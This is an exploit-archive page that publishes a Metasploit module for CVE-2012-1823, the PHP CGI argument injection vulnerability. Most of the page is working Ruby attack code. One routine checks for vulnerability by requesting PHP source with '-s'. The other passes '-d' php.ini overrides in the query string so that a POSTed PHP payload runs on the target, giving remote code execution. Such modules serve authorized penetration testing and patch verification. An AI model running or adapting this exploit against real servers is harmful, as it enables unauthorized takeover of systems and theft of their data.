exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP CGI Argument Injection

PHP CGI Argument Injection
Posted May 6, 2012
Site metasploit.com

When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This Metasploit module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary."

tags | exploit, shell, cgi, php, code execution
advisories | CVE-2012-1823, OSVDB-81633
SHA-256 | b19f8f4342eff5bad4cc51580c640170655b2809104d5e7835692a1eb116a923

PHP CGI Argument Injection

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# https://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP CGI Argument Injection',
'Description' => %q{
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
an argument injection vulnerability. This module takes advantage of
the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped '=' in the query string,
the string is split on '+' (encoded space) characters, urldecoded,
passed to a function that escapes shell metacharacters (the "encoded in
a system-defined manner" from the RFC) and then passes them to the CGI
binary."
},
'Author' => [ 'egypt', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [
[ 'CVE' , '2012-1823' ],
[ 'OSVDB', '81633'],
[ 'URL' , 'https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DisclosureDate' => 'May 03 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))

register_options([
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
], self.class)
end

# php-cgi -h
# ...
# -s Display colour syntax highlighted source.
def check
uri = target_uri.path

uri.gsub!(/\?.*/, "")

print_status("Checking uri #{uri}")

response = send_request_raw({ 'uri' => uri })

if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
return Exploit::CheckCode::Unknown
end

response = send_request_raw({ 'uri' => uri + '?-s'})
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
return Exploit::CheckCode::Vulnerable
end

print_error("Server responded indicating it was not vulnerable")
return Exploit::CheckCode::Safe
end

def exploit
begin
args = [
"-d+allow_url_include%3d#{rand_php_ini_true}",
"-d+safe_mode%3d#{rand_php_ini_false}",
"-d+suhosin.simulation%3d#{rand_php_ini_true}",
"-d+disable_functions%3d%22%22",
"-d+open_basedir%3dnone",
"-d+auto_prepend_file%3dphp://input",
"-n"
]

qs = args.join("+")
uri = "#{target_uri}?#{qs}"

# Has to be all on one line, so gsub out the comments and the newlines
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
response = send_request_cgi( {
'method' => "POST",
'global' => true,
'uri' => uri,
'data' => payload_oneline,
}, 0.5)
handler

rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
end

end

def rand_php_ini_false
Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
end

def rand_php_ini_true
Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close